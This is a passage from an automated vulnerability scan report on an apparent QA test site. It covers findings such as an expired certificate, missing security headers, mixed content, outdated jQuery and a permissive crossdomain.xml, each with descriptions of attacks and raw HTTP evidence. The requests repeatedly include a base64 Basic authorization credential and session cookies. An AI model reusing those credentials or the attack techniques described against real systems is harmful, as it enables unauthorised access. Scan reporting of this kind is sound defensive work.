<script src="http://api.btcc.com/aa"></script>
<a href="index2.php">link</a>
</div>
</body>
</html>
```

1

Expired TLS certificate

MEDIUM

CVSS SCORE

5.8

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:L

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

The TLS certificate sent by the application has expired. Web browsers will consider it invalid, and will show an error to users of you r application. In most cases, browsers and TLS libraries will not allow the user to ignore the error, effectively blocking access to yo ur application.

Using an invalid certificate will increase the user's chances of being victim to a Man-in-the-Middle attack, since this enables a malic ious third party to perform the attack with any invalid certificate. This happens because it can be difficult for a user to distinguish between:

- An expired, but legitimate, certificate sent from the server (OK)
- An invalid certificate, sent from the attacker (not OK)

This greatly increases the likelihood of a successful MITM attack.

The following issues need to be addressed:

- Expired

EVIDENCE

```
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            b6:b4:5a:08:bf:d8:0a:61
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = PT, ST = Some-State, L = Lisbon, O = Oxtest1, CN = ox-test1.westeurope.cloudapp.azure.co
m, emailAddress = nuno@brpx.com
        Validity
            Not Before: Oct 27 17:50:54 2016 GMT
            Not After : Oct 27 17:50:54 2017 GMT
        Subject: C = PT, ST = Some-State, L = Lisbon, O = Oxtest1, CN = ox-test1.westeurope.cloudapp.azure.co
m, emailAddress = nuno@brpx.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:c7:a6:ec:12:3e:08:3b:76:1a:fe:8c:b9:12:c2:
                    70:e4:a1:e4:28:4c:48:40:18:80:0b:7e:65:41:fc:
                    06:2e:03:90:9a:47:05:ff:d5:7d:d3:b6:62:e0:fe:
                    32:72:05:ee:e9:2a:bd:a7:f7:a1:1d:16:99:79:cc:
                    95:33:f1:c7:85:38:9e:2d:e7:5f:32:a2:3a:fb:da:
                    0d:f4:b3:3e:93:40:e9:0a:72:3c:8d:16:29:9d:ca:
                    d6:9d:f9:70:a9:b0:66:27:37:3b:94:83:f0:ec:57:
                    78:a9:ac:bf:0f:6b:5f:ce:55:c2:c4:8f:be:20:6f:
                    e2:de:65:4e:a5:54:f2:52:0f:34:88:96:38:a4:62:
                    5a:63:ca:85:2e:79:4b:c2:c6:47:38:c8:71:d3:7a:
                    6f:c4:ba:06:79:e6:c6:bb:1f:3c:19:46:50:52:a4:
                    ee:cf:ff:50:6e:fa:7c:9f:c9:77:9d:0d:f6:9e:32:
                    21:5a:2e:a7:fb:39:05:a9:58:fe:9e:18:59:f2:f3:
                    2e:08:0f:e4:f5:c5:f1:30:55:23:13:b4:ca:91:78:
                    87:ec:c7:00:c1:70:cd:f2:ac:08:b7:dd:4e:3e:db:
                    f5:2b:1f:7c:8a:6d:19:8f:9b:74:2c:e3:88:20:ca:
                    f0:3f:fb:88:17:a7:06:61:be:50:0c:72:82:4a:26:
                    cc:a9
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                0C:A0:06:63:07:A5:8C:AA:83:3B:B2:B3:00:9F:EA:B2:77:D9:87:1C
            X509v3 Authority Key Identifier:
                keyid:0C:A0:06:63:07:A5:8C:AA:83:3B:B2:B3:00:9F:EA:B2:77:D9:87:1C
            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         b5:00:21:c1:f1:09:18:03:95:09:b8:67:c7:dc:a4:b5:48:96:
         44:49:8d:57:d7:a7:6a:61:eb:26:09:ef:09:e3:20:b9:ac:31:
         97:8b:37:54:d0:49:00:c8:3f:77:49:64:16:bd:dd:93:d4:a7:
         13:ab:3c:1c:d4:09:de:c4:8f:14:89:fe:ea:e8:72:85:36:cc:
         43:5d:7c:4f:ec:6d:5a:07:ce:69:45:12:b0:82:fa:14:29:6c:
         cf:7e:c1:5f:66:7a:ce:61:71:b5:75:fd:db:55:a7:49:dd:12:
         71:25:07:8c:e2:68:41:b4:e5:c1:11:9b:eb:56:44:f9:a0:63:
         02:15:6a:91:d4:88:cb:ef:23:48:98:4f:de:8c:83:9d:27:f3:
         37:fc:9f:3e:21:44:37:0c:8d:4f:c5:cd:4d:2d:63:e2:f6:a0:
         ec:1f:1a:c1:ff:73:6b:86:20:b6:dd:b7:d9:fd:a4:d2:b4:93:
         37:26:cd:fe:b0:9f:64:fb:23:71:5f:82:4c:4b:30:e3:fd:46:
         4a:80:b3:b9:66:2f:04:02:dc:ff:c3:7a:28:8b:cc:20:3e:5a:
         b8:81:6a:61:98:7b:a3:bf:5d:41:48:2b:17:ef:40:f6:0f:7d:
         5f:83:a1:5a:86:eb:4a:a0:32:2c:47:ce:97:33:79:76:97:ff:
         19:c2:9b:b8
```

# 84 SSL cookie without Secure flag

LOW

CVSS SCORE
3.1 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

METHOD	PATH	COOKIE
GET	https://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php	PHPSESSID

DESCRIPTION

The cookie secure flag is intended to prevent browsers from submitting the cookie in any HTTP requests that use an unencrypted c onnection, thus an attacker that is eavesdropping the connection will not be able to get that cookie.

A flag without the secure flag set will always be sent on every HTTP request that matches the scope of cookie, i.e. the domain for which it is set. What this means is that if your application inadvertently makes an HTTP request (without encryption), this request will carry the cookie and any attacker that can eavesdrop the victim traffic will be able to read that cookie.

If the cookie in question is the session cookie, the attacker will be able to hijack the victim account.

EVIDENCE

The cookie being set without the Secure flag:

```
Set-Cookie: PHPSESSID=5vi7nu9714opmdm136pfbtgpj1; path=/
```

REQUEST

```
GET /WackoPicko/passcheck.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=5vi7nu9714opmdm136pfbtgpj1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
```

```
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
      <div id="menu">
        <div class="column prepend-1 span-14 first">
          <ul class="menu">
            <li class="current"><a
href="/WackoPicko/users/home.php"><span>Home</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/upload.php"><span>Upload</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/recent.php"><span>Recent</span></a></li>
```

# 8 Referrer policy not defined

LOW

CVSS SCORE
3.1
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

METHOD
GET

PATH
https://test-0.ox.qa.prbly.win/

DESCRIPTION

The application does not prevent browsers from sending sensitive information to third party sites in the **referer** header.

Without a referrer policy, every time a user clicks a link that takes him to another origin (domain), the browser will add a **referer** header with the URL from which he is coming from. That URL may contain sensitive information, such as password recovery tokens or personal information, and it will be visible that other origin. For instance, if the user is at `example.com/password_recovery?unique_token=14f748d89d` and clicks a link to `example-analytics.com`, that origin will receive the complete password recovery URL in the headers and might be able to set the users password. The same happens for requests made automatically by the application, such as XHR ones.

Applications should set a secure referrer policy that prevents sensitive data from being sent to third party sites.

EVIDENCE

Response headers, missing the `Referrer-Policy` header:

```
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
```

REQUEST

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos) ProbelyMRKT/0.1.0
FE-server: 1
Authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
Accept: */*
Accept-Encoding: gzip, deflate
Host: test-0.ox.qa.prbly.win
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
```

```
<!--[if !(IE 7) & !(IE 8)]><!-->
<html lang="en-US">
<!--<![endif]-->
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width">
	<title>Postas de Pescada | Um site para mandar postas de pescada</title>
	<link rel="profile" href="http://gmpg.org/xfn/11">
	<link rel="pingback" href="https://test-0.ox.qa.prbly.win/xmlrpc.php">
	<!--[if lt IE 9]>
	<script src="https://test-0.ox.qa.prbly.win/wp-
content/themes/twentythirteen/js/html5.js"></script>
	<![endif]-->
	<meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Feed" href="https://test-0.ox.qa.prbly.win/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Comments Feed" href="https://test-0.ox.qa.prbly.win/?feed=comments-rss2"
/>
```

# 63 Mixed content

LOW

CVSS SCORE
7.7

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

METHOD	PATH
POST	https://test-0.ox.qa.prbly.win/foo/

DESCRIPTION

The application is loaded over an HTTPS connection but it loads resources over an unencrypted connection, in HTTP. If an attacker is strategically positioned between the victim and the applications it can eavesdrop all communications between them. In this case, it would only be able to eavesdrop the resource loaded over HTTP, but it could modify its contents to affect other parts of the application, even if they are loaded over a secure connection.

A possible scenario would be for the attacker to modify some JavaScript content, loaded over HTTP, that handles the login form submission. Suppose the destination host of the login request is defined in the JavaScript file and the attacker changes it to host controlled by him, thus getting access to the victim's credentials.

EVIDENCE

List of resources being included in HTTP:

```
<link rel="stylesheet" href="http://fonts.googleapis.com/css?family=Varela+Round">
```

REQUEST

```
POST /foo/ HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
Content-Length: 42
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/foo/
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
content-type: application/x-www-form-urlencoded
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef;
wordpress_test_cookie=WP+Cookie+check
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
email=mail%40address.com&password=password
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:22:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<!doctype html>
<html lang="en-US">
<head>
         <meta charset="utf-8">
         <title>Login</title>
         <link rel="stylesheet"
href="http://fonts.googleapis.com/css?family=Varela+Round">
         <link rel="stylesheet" href="main.css">
</head>
<body>
           <br /><br /><h3><center><b>Wrong login!</b></center></h3>
         <div id="login">
                  <h2><span class="fontawesome-lock"></span>Sign In</h2>
```

# 50 Mixed content

LOW

CVSS SCORE
7.7 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/

DESCRIPTION

The application is loaded over an HTTPS connection but it loads resources over an unencrypted connection, in HTTP. If an attacker is strategically positioned between the victim and the applications it can eavesdrop all communications between them. In this case, it would only be able to eavesdrop the resource loaded over HTTP, but it could modify its contents to affect other parts of the application, even if they are loaded over a secure connection.

A possible scenario would be for the attacker to modify some JavaScript content, loaded over HTTP, that handles the login form submission. Suppose the destination host of the login request is defined in the JavaScript file and the attacker changes it to host controlled by him, thus getting access to the victim's credentials.

EVIDENCE

List of resources being included in HTTP:

```
<img class="image-component__main-image" src="http://img.huffingtonpost.com/asset/scalefit_630_noupscale/56536400
1b0000470029e6bd.png" alt="" data-pin-no-hover="true" />
```

REQUEST

```
GET / HTTP/1.1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
fe-server: 1
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
host: test-0.ox.qa.prbly.win
accept-encoding: gzip, deflate
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
<!--[if !(IE 7) & !(IE 8)]><!-->
<html lang="en-US">
<!--<![endif]-->
<head>
        <meta charset="UTF-8">
```

```
         <meta name="viewport" content="width=device-width">
         <title>Postas de Pescada | Um site para mandar postas de pescada</title>
         <link rel="profile" href="http://gmpg.org/xfn/11">
         <link rel="pingback" href="https://test-0.ox.qa.prbly.win/xmlrpc.php">
         <!--[if lt IE 9]>
         <script src="https://test-0.ox.qa.prbly.win/wp-
content/themes/twentythirteen/js/html5.js"></script>
         <![endif]-->
         <meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Feed" href="https://test-0.ox.qa.prbly.win/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Comments Feed" href="https://test-0.ox.qa.prbly.win/?feed=comments-rss2"
/>
                  <script type="text/javascript">
```

# 96 Missing Content Security Policy header

LOW

CVSS SCORE
3.7 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/

DESCRIPTION

The Content Security Policy (CSP) is an HTTP header through which site owners define a set of security rules that the browser must follow when rendering their site. The most common usage is to define a list of approved sources of content that the browser can lo ad. This can be used to effectively mitigate Cross-Site Scripting (XSS) and Clickjacking attacks.

CSP is flexible enough for you to define from where the browser can load JavaScript, Stylesheets, images, or fonts, among other op tions. It can also be used in report mode only, a recommended approach before deploying strict rules in a live environment. Howev er, please note that report mode does not protect you, it just logs policy violations.

EVIDENCE

Response headers, missing the `Content-Security-Policy` header:

```
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
```

REQUEST

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos) ProbelyMRKT/0.1.0
FE-server: 1
Authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
Accept: */*
Accept-Encoding: gzip, deflate
Host: test-0.ox.qa.prbly.win
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
<!--[if !(IE 7) & !(IE 8)]><!-->
<html lang="en-US">
<!--<![endif]-->
```

```
<head>
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width">
         <title>Postas de Pescada | Um site para mandar postas de pescada</title>
         <link rel="profile" href="http://gmpg.org/xfn/11">
         <link rel="pingback" href="https://test-0.ox.qa.prbly.win/xmlrpc.php">
         <!--[if lt IE 9]>
         <script src="https://test-0.ox.qa.prbly.win/wp-
content/themes/twentythirteen/js/html5.js"></script>
         <![endif]-->
         <meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Feed" href="https://test-0.ox.qa.prbly.win/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Comments Feed" href="https://test-0.ox.qa.prbly.win/?feed=comments-rss2"
/>
```

# 32 Missing clickjacking protection

LOW

CVSS SCORE
6.5

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/

DESCRIPTION

A **frameable response** occurs when one or multiple pages can be used on an iframe on any website. This allows the **clickjackin g** attack to be used.

Clickjacking is when an attacker a hidden iframe with multiple transparent or opaque layers above it, to trick a user into clicking on a button or link on the iframe when they were intending to click on the the top level page. Thus, the attacker is "hijacking" clic ks meant for the top level page and routing them to the iframe.

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text bo xes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an inv isible frame controlled by the attacker.

EVIDENCE

Response headers, missing the `X-Frame-Options` header:

```
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
```

REQUEST

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos) ProbelyMRKT/0.1.0
FE-server: 1
Authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
Accept: */*
Accept-Encoding: gzip, deflate
Host: test-0.ox.qa.prbly.win
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
```

```
<!--[if !(IE 7) & !(IE 8)]><!-->
<html lang="en-US">
<!--<![endif]-->
<head>
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width">
         <title>Postas de Pescada | Um site para mandar postas de pescada</title>
         <link rel="profile" href="http://gmpg.org/xfn/11">
         <link rel="pingback" href="https://test-0.ox.qa.prbly.win/xmlrpc.php">
         <!--[if lt IE 9]>
         <script src="https://test-0.ox.qa.prbly.win/wp-
content/themes/twentythirteen/js/html5.js"></script>
         <![endif]-->
         <meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Feed" href="https://test-0.ox.qa.prbly.win/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Comments Feed" href="https://test-0.ox.qa.prbly.win/?feed=comments-rss2"
/>
```

# 120

JQuery Migrate library with known vulnerabilities

LOW

CVSS SCORE
4.2

CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

METHOD **PATH**

GET https://test-0.ox.qa.prbly.win/wp-includes/js/jquery/jquery-migrate.min.js

DESCRIPTION

The application uses an outdated version of the JQuery Migrate library, which has known vulnerabilities.

EVIDENCE

We have found this evidence(s) in the response:

```
/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Founda
```

REQUEST

```
GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: https://test-0.ox.qa.prbly.win/
sec-fetch-dest: script
sec-fetch-mode: no-cors
sec-fetch-site: same-origin
accept: */*
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:47 GMT
Content-Type: application/javascript
Content-Length: 7200
Last-Modified: Mon, 21 Dec 2020 01:40:32 GMT
Connection: keep-alive
ETag: "5fdffd10-1c20"
Expires: Wed, 03 Jan 2024 05:00:47 GMT
Cache-Control: max-age=31536000
Accept-Ranges: bytes
/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other
contributors | jquery.org/license */
jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function
r(n){var r=t.console;i[n]||(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migr
ateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function
a(t,a,i,o){if(Object.defineProperty)try{return
Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r
(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i
}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console...
```

# 122 JQuery library with known vulnerabilities

LOW

CVSS SCORE
4.2

CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

METHOD	PATH
GET	http://test-0.ox.qa.prbly.win/WackoPicko/jquery.js

DESCRIPTION

The application uses an outdated version of the JQuery library, which has known vulnerabilities.

The following CVE(s) affect this library version:

- CVE-2020-11023
- CVE-2020-11022
- CVE-2015-9251
- CVE-2019-11358

EVIDENCE

We have found this evidence(s) in the response:

```
 * jQuery JavaScript Library v2.2.4
 * http://jquery.com/
```

REQUEST

```
GET /WackoPicko/jquery.js?a3987389adjkadaj HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/WackoPicko/
accept: */*
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:01:10 GMT
Content-Type: application/javascript
Content-Length: 257551
Last-Modified: Mon, 21 Dec 2020 01:40:31 GMT
Connection: keep-alive
```

```
ETag: "5fdffd0f-3ee0f"
Expires: Wed, 03 Jan 2024 05:01:10 GMT
Cache-Control: max-age=31536000
Accept-Ranges: bytes
/*!
 * jQuery JavaScript Library v2.2.4
 * http://jquery.com/
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license
 * http://jquery.org/license
 *
 * Date: 2016-05-20T17:23Z
 */
(function( global, factory ) {
         if ( typeof module === "object" && typeof module.exports === "object" )
{
                  // For CommonJS and CommonJS-like environments where a proper
`window`
                  // is present, execute the factory and get jQuery.
```

# 9 Insecure crossdomain.xml policy

LOW

CVSS SCORE
6.5
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/crossdomain.xml

DESCRIPTION

The Flash cross-domain policy file defines how flash applications from other domains can interact with the domain hosting this polic y file.

An `<allow-access-from domain="*"/>` directive in your crossdomain.xml file means that your application allows an arbitrary flash application (.swf files) running on an arbitrary domain to make requests to your domain and read its response. If a user is logged i n your application and visits a site hosting a malicious flash application, that application can make authenticated requests on behal f of the user to your application, by sending the cookies your site sets. With this, it can potentially take control of the victim's acco unt.

If this vulnerability was reported as low severity, it means that Probe.ly does not have the required context to determine the impac t of this issue. You are allowing any arbitrary flash application running on any subdomain of your domain to make requests to your site and read its response. If you do not host any user-content on the subdomain specified in your policy then it is safe to ignore t his vulnerability.

EVIDENCE

Insecure entries from the crossdomain.xml file:

```
<allow-access-from domain="*.example.com" />
```

REQUEST

```
GET /crossdomain.xml HTTP/1.1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
fe-server: 1
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
host: test-0.ox.qa.prbly.win
accept-encoding: gzip, deflate
Content-Length: 0
Cookie:
comment_author_email_881fafb8a9fff88c22a59cbe5116a8b6=scanner%40probe.ly;
wordpress_test_cookie=WP+Cookie+check; PHPSESSID=d8rrf1q39ma00dleqo3osq1uo2;
comment_author_881fafb8a9fff88c22a59cbe5116a8b6=Pedro+Miguel;
comment_author_url_881fafb8a9fff88c22a59cbe5116a8b6=https%3A%2F%2Fprobely.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:45:41 GMT
Content-Type: text/xml
Content-Length: 160
Last-Modified: Mon, 21 Dec 2020 01:40:31 GMT
Connection: keep-alive
ETag: "5fdffd0f-a0"
Accept-Ranges: bytes
<?xml version="1.0" ?>
```

```
<cross-domain-policy>
  <allow-access-from domain="*.example.com" />
  <allow-access-from domain="probely.com" />
</cross-domain-policy>
```

# 35 HSTS header not enforced

LOW

CVSS SCORE
7.4 CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/

DESCRIPTION

The application does not force users to connect over an encrypted channel, i.e. over HTTPS. If the user types the site address in th e browser without starting with *https*, it will connect to it over an insecure channel, even if there is a redirect to HTTPS later. Even if the user types *https*, there may be links to the site in HTTP, forcing the user to navigate insecurely. An attacker that is able to in tercept traffic between the victim and the site or spoof the site's address can prevent the user from ever connecting to it over an encrypted channel. This way, the attacker is able to eavesdrop all communications between the victim and the server, including th e victim's credentials, session cookie and other sensitive information.

EVIDENCE

Response headers, missing the `Strict-Transport-Security` header:

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
```

REQUEST

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos) ProbelyMRKT/0.1.0
FE-server: 1
Authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
Accept: */*
Accept-Encoding: gzip, deflate
Host: test-0.ox.qa.prbly.win
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
